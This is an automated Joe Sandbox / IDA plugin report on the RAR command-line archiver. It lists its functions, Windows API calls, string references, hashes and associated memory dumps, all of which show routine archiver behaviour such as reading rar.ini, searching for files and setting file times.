Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: Library$Load$FileFreeModuleNameVersion
String ID: rarlng.dll
API String ID: 2520153904-1675521814
Opcode ID: e5aee7b030c9154f32bd6f16348393c2ce205d0ec09081a9dcc027d33eee2f90
Instruction ID: 58c544e8e74898a001914a50f6f8bf128f4c38365ed2942e18c9fad77f621234
Opcode Fuzzy Hash: e5aee7b030c9154f32bd6f16348393c2ce205d0ec09081a9dcc027d33eee2f90
Instruction Fuzzy Hash: 6C31B131A29A82D6FB24DF25E8516E82368FF45784F404039E96D83AD8FF3ED549CB50

Function 00007FF6F67BEE98 Relevance: 7.6, APIs: 1, Strings: 3, Instructions: 625
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

hc%u, xrefs: 00007FF6F67BF46A
h%u, xrefs: 00007FF6F67BF410
CMT, xrefs: 00007FF6F67BF7A7

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID:
String ID: CMT$h%u$hc%u
API String ID: 0-3282847064
Opcode ID: 5de7f80c9c8939fd3e61bc1e2865c3757d25e518f6fc709e2681801b26c25e4e
Instruction ID: d452db676b126562a46c4df40dfc6333439a4ac6653067c6a4331327db4171dd
Opcode Fuzzy Hash: 5de7f80c9c8939fd3e61bc1e2865c3757d25e518f6fc709e2681801b26c25e4e
Instruction Fuzzy Hash: E052F332A096C289EB10DF21D4645FA2BA9FB51B84F861035DA6DC76DAFF3EE544C700

Function 00007FF6F67D7124 Relevance: 7.6, APIs: 5, Instructions: 97
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(00000000,?,00000000,?,00000000,00007FF6F67D707C,?,?,?,00007FF6F67E71E4), ref: 00007FF6F67D716E
FindFirstFileW.KERNELBASE(?,?,?,00007FF6F67E71E4), ref: 00007FF6F67D719F
GetLastError.KERNEL32(?,?,?,00007FF6F67E71E4), ref: 00007FF6F67D71AE
FindNextFileW.KERNEL32(00000000,?,00000000,?,00000000,00007FF6F67D707C,?,?,?,00007FF6F67E71E4), ref: 00007FF6F67D71D5
GetLastError.KERNEL32(?,?,?,00007FF6F67E71E4), ref: 00007FF6F67D71E3

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: FileFind$ErrorFirstLast$Next
String ID:
API String ID: 869497890-0
Opcode ID: a3970cfa0a6b63209c9808cf283fa58a7f8f6dac4e9a9c8fe5ab296ac192eb07
Instruction ID: b0b2f55c50ced6c34b00ba6e2f18454affbd98a6f20e1652087584555a82d3d0
Opcode Fuzzy Hash: a3970cfa0a6b63209c9808cf283fa58a7f8f6dac4e9a9c8fe5ab296ac192eb07
Instruction Fuzzy Hash: 0341C43270868196EB649B25E4602F863A4FB497B4F404735EB7D837C5EF3EE1598700

Function 00007FF6F67CA6D8 Relevance: 4.5, APIs: 3, Instructions: 34encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32 ref: 00007FF6F67CA709
CryptGenRandom.ADVAPI32 ref: 00007FF6F67CA71D
CryptReleaseContext.ADVAPI32 ref: 00007FF6F67CA72C

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: Crypt$Context$AcquireRandomRelease
String ID:
API String ID: 1815803762-0
Opcode ID: b589b662280ae25d107077d6f04ef69d899184d46a036a8d583983f1ff3531f0
Instruction ID: 2af3413b0601ba8dafe65abd0655a1a02b269eaa416727f6b6ff49687854f11c
Opcode Fuzzy Hash: b589b662280ae25d107077d6f04ef69d899184d46a036a8d583983f1ff3531f0
Instruction Fuzzy Hash: 6EF06D25B1865082E700CB16A86472AA765FBC5FD0F548035DE1D87BA8DE7DD942CB40

Function 00007FF6F67F6A28 Relevance: 21.6, APIs: 2, Strings: 10, Instructions: 562
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(?,?,?,?,?,?,?,00007FF6F67F6A0F,?,00007FF6F67EB1FE), ref: 00007FF6F67F6A87

Part of subcall function 00007FF6F68003F8: MultiByteToWideChar.KERNEL32(00000000,?,00000001,00000000,?,00007FF6F67C8DBE), ref: 00007FF6F6800425

snprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6F67F6F68

Strings

MENU, xrefs: 00007FF6F67F6DBF
DIRECTION, xrefs: 00007FF6F67F6DCD
*messages***, xrefs: 00007FF6F67F6BC3
$%s:, xrefs: 00007FF6F67F6F40
RTL, xrefs: 00007FF6F67F6F1C
STRINGS, xrefs: 00007FF6F67F6DA3
DIALOG, xrefs: 00007FF6F67F6DB1
@%s:, xrefs: 00007FF6F67F6F47
*messages***, xrefs: 00007FF6F67F6BF7
,, xrefs: 00007FF6F67F6F9D

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: ByteCharFileModuleMultiNameWidesnprintf
String ID: ,$$%s:$*messages***$*messages***$@%s:$DIALOG$DIRECTION$MENU$RTL$STRINGS
API String ID: 596545082-2291855099
Opcode ID: 50dde7394416985401185fa87b4a8f98ac300f9f002ada2113d8399f46906a3f
Instruction ID: 5c284c5bb8d1938fcdb28904c6281ca22a605db716f3105b670dfc39416e703a
Opcode Fuzzy Hash: 50dde7394416985401185fa87b4a8f98ac300f9f002ada2113d8399f46906a3f
Instruction Fuzzy Hash: 4542C222A2868295EB20DF24D464AFE2369FF44784F804135EA7D876D9FF7EE545C380

Function 00007FF6F67FAB8C Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 84
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FF6F67FACA2

Part of subcall function 00007FF6F67FE048: GetSystemDirectoryW.KERNEL32(00000000,00007FF6F67FABD4), ref: 00007FF6F67FE076

GetProcAddressForCaller.KERNELBASE ref: 00007FF6F67FABEA
GetProcAddress.KERNEL32 ref: 00007FF6F67FAC05

Strings

CryptProtectMemory failed, xrefs: 00007FF6F67FAC58
Crypt32.dll, xrefs: 00007FF6F67FABC8
CryptProtectMemory, xrefs: 00007FF6F67FABE0
CryptUnprotectMemory, xrefs: 00007FF6F67FABF7
CryptUnprotectMemory failed, xrefs: 00007FF6F67FAC99

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: AddressProc$CallerCurrentDirectoryProcessSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptProtectMemory failed$CryptUnprotectMemory$CryptUnprotectMemory failed
API String ID: 1389829785-2207617598
Opcode ID: e8e933581d95cf8c5c8d6d96ad9e9a8f9dc3548ebea786e0a327af839e8d0e92
Instruction ID: c89853080f74c6e56a1ef0ec737b38c1ecc48496acf8343679d39b09d43a0cd4
Opcode Fuzzy Hash: e8e933581d95cf8c5c8d6d96ad9e9a8f9dc3548ebea786e0a327af839e8d0e92
Instruction Fuzzy Hash: F9314D20B2CB0692FB158B1AA96453567A8BF44BA0F44063AD97E837E4FF3FE445C354

Function 00007FF6F67E73A8 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 58
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(?,?,?,?,?,00000800,00000000,00007FF6F67E6863,?,?,?,00007FF6F67E71FC), ref: 00007FF6F67E73E8
RegQueryValueExW.ADVAPI32(?,?,?,?,?,00000800,00000000,00007FF6F67E6863,?,?,?,00007FF6F67E71FC), ref: 00007FF6F67E7419
RegCloseKey.ADVAPI32(?,?,?,?,?,00000800,00000000,00007FF6F67E6863,?,?,?,00007FF6F67E71FC), ref: 00007FF6F67E7424
GetModuleFileNameW.KERNEL32(?,?,?,?,?,00000800,00000000,00007FF6F67E6863,?,?,?,00007FF6F67E71FC), ref: 00007FF6F67E7458

Strings

AppData, xrefs: 00007FF6F67E740E
Software\WinRAR\Paths, xrefs: 00007FF6F67E73D3

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: CloseFileModuleNameOpenQueryValue
String ID: AppData$Software\WinRAR\Paths
API String ID: 3617018055-3415417297
Opcode ID: 2376fd6a2386a471ff2e9260c1dbe315dc903a4a2f2e99cfe2202a6371036d4b
Instruction ID: dd3ad4b90ba49e0afd5ba9b54a9f8b4076cffd3b44980e347026545c8b8e1fd9
Opcode Fuzzy Hash: 2376fd6a2386a471ff2e9260c1dbe315dc903a4a2f2e99cfe2202a6371036d4b
Instruction Fuzzy Hash: C021C632B28B4282EB109F22E8205A97768FF45BD0F455136EE6D43795EF3ED449C750

Function 00007FF6F67D4FC4 Relevance: 7.6, APIs: 5, Instructions: 132
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32 ref: 00007FF6F67D5000
WriteFile.KERNEL32 ref: 00007FF6F67D504F
GetLastError.KERNEL32 ref: 00007FF6F67D50AD
SetLastError.KERNEL32 ref: 00007FF6F67D50D9

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: ErrorLast$FileHandleWrite
String ID:
API String ID: 1958782092-0
Opcode ID: 57f873c71b31a176c235870f5a3de2ad3efcc2d03b4bb25b03333268935ee1b8
Instruction ID: ac3a53318feede2fd09218b731dceedffa2d02a76c7ef5247b9fb5b10c571978
Opcode Fuzzy Hash: 57f873c71b31a176c235870f5a3de2ad3efcc2d03b4bb25b03333268935ee1b8
Instruction Fuzzy Hash: 8D51922671864197FB20CF26E82427963A9FB84BC4F140535DEAE87BE4EE3EE445C700

Function 00007FF6F67D4780 Relevance: 7.6, APIs: 5, Instructions: 121
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE ref: 00007FF6F67D4833
GetLastError.KERNEL32 ref: 00007FF6F67D4842
CreateFileW.KERNELBASE ref: 00007FF6F67D4885
GetLastError.KERNEL32 ref: 00007FF6F67D488E
SetFileTime.KERNEL32 ref: 00007FF6F67D48E8

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: File$CreateErrorLast$Time
String ID:
API String ID: 1999340476-0
Opcode ID: 701c5b664c6f2f5a00e6058ebd1fcfb497411cd959ac39b522e78760bc89dea5
Instruction ID: 4ef12879d3000dffc6bff967b9fd218f869702505269586217610d29a96e87cc
Opcode Fuzzy Hash: 701c5b664c6f2f5a00e6058ebd1fcfb497411cd959ac39b522e78760bc89dea5
Instruction Fuzzy Hash: 8E413A72A1828146FB348F25E5253B96755E740BB8F140739DE7E87AC8EF7EC4448B50

Function 00007FF6F67C800C Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6F67C8146

Strings

rar.ini, xrefs: 00007FF6F67C806A
switches=, xrefs: 00007FF6F67C80B3
switches_%ls=, xrefs: 00007FF6F67C8136

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: swprintf
String ID: rar.ini$switches=$switches_%ls=
API String ID: 233258989-2235180025
Opcode ID: edb97fe29fa7189dd36900478c97689d105efc5584e128a3aaf501bc6e5d01d1
Instruction ID: 2b3e08855da723c6427876b70bc070a5f677318b3e38f2093d6f246f19e2714a
Opcode Fuzzy Hash: edb97fe29fa7189dd36900478c97689d105efc5584e128a3aaf501bc6e5d01d1
Instruction Fuzzy Hash: 3A410622A1968291EB10DB21D4202F967E8FF44794F405539EA7E876DAFF3EE542C350

Function 00007FF6F67E70BC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetMalloc.SHELL32(00000000,00000800,00000800,00007FF6F67E744C,?,?,?,?,?,00000800,00000000,00007FF6F67E6863,?,?,?,00007FF6F67E71FC), ref: 00007FF6F67E70DC
SHGetSpecialFolderLocation.SHELL32(?,?,?,?,?,00000800,00000000,00007FF6F67E6863,?,?,?,00007FF6F67E71FC), ref: 00007FF6F67E70F7
SHGetPathFromIDListW.SHELL32 ref: 00007FF6F67E7109

Part of subcall function 00007FF6F67D5E68: CreateDirectoryW.KERNELBASE(00000000,00000800,?,00007FF6F67E7157,?,?,?,?,?,00000800,00000000,00007FF6F67E6863,?,?,?,00007FF6F67E71FC), ref: 00007FF6F67D5EB0
Part of subcall function 00007FF6F67D5E68: CreateDirectoryW.KERNEL32(00000000,00000800,?,00007FF6F67E7157,?,?,?,?,?,00000800,00000000,00007FF6F67E6863,?,?,?,00007FF6F67E71FC), ref: 00007FF6F67D5EE5

Strings

WinRAR, xrefs: 00007FF6F67E7127

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: CreateDirectory$FolderFromListLocationMallocPathSpecial
String ID: WinRAR
API String ID: 977838571-3970807970
Opcode ID: aaac979a3d7c2016673529bf4e09090174f12970cce3f965b9a6983c43882df2
Instruction ID: f606b2d1da69358a691f549419d4175e963e9fa78c5693c351115861ab80c911
Opcode Fuzzy Hash: aaac979a3d7c2016673529bf4e09090174f12970cce3f965b9a6983c43882df2
Instruction Fuzzy Hash: B311C022A08B0281EB209F66F8600AA6768EF99FD0B455031EE6E873D5EE3ED445C740

Function 00007FF6F67D6260 Relevance: 6.1, APIs: 4, Instructions: 128
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(00000000,?,?,?,?,?,?,?,00007FF6F67D16B3), ref: 00007FF6F67D6315
CreateFileW.KERNEL32(?,?,?,?,?,?,?,00007FF6F67D16B3), ref: 00007FF6F67D6367
SetFileTime.KERNELBASE(?,?,?,?,?,?,?,00007FF6F67D16B3), ref: 00007FF6F67D63E3
CloseHandle.KERNEL32(?,?,?,?,?,?,?,00007FF6F67D16B3), ref: 00007FF6F67D63EE

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: File$Create$CloseHandleTime
String ID:
API String ID: 2287278272-0
Opcode ID: 7fa6d49baa5423efcab826599994862b0e68d1b0aad42b1c4e91de0d62659991
Instruction ID: 979cfe48a00706cb8ca866863a8ae36a1c4ea6bb4f2a392ffacd16d91f54d411
Opcode Fuzzy Hash: 7fa6d49baa5423efcab826599994862b0e68d1b0aad42b1c4e91de0d62659991
Instruction Fuzzy Hash: 3A41D122E1C64142FB508B25A42177B67A9BB857A4F104A30EEBD877D8FF3ED54A8700

Function 00007FF6F67D457C Relevance: 6.1, APIs: 4, Instructions: 58
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(?,?,?,?,00000000,00007FF6F67D4B57,?,?,00000000,?,00000001,00000000,?,00007FF6F67C8DBE), ref: 00007FF6F67D45A4
ReadFile.KERNELBASE ref: 00007FF6F67D45C3
GetLastError.KERNEL32 ref: 00007FF6F67D45F7
GetLastError.KERNEL32 ref: 00007FF6F67D4616

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

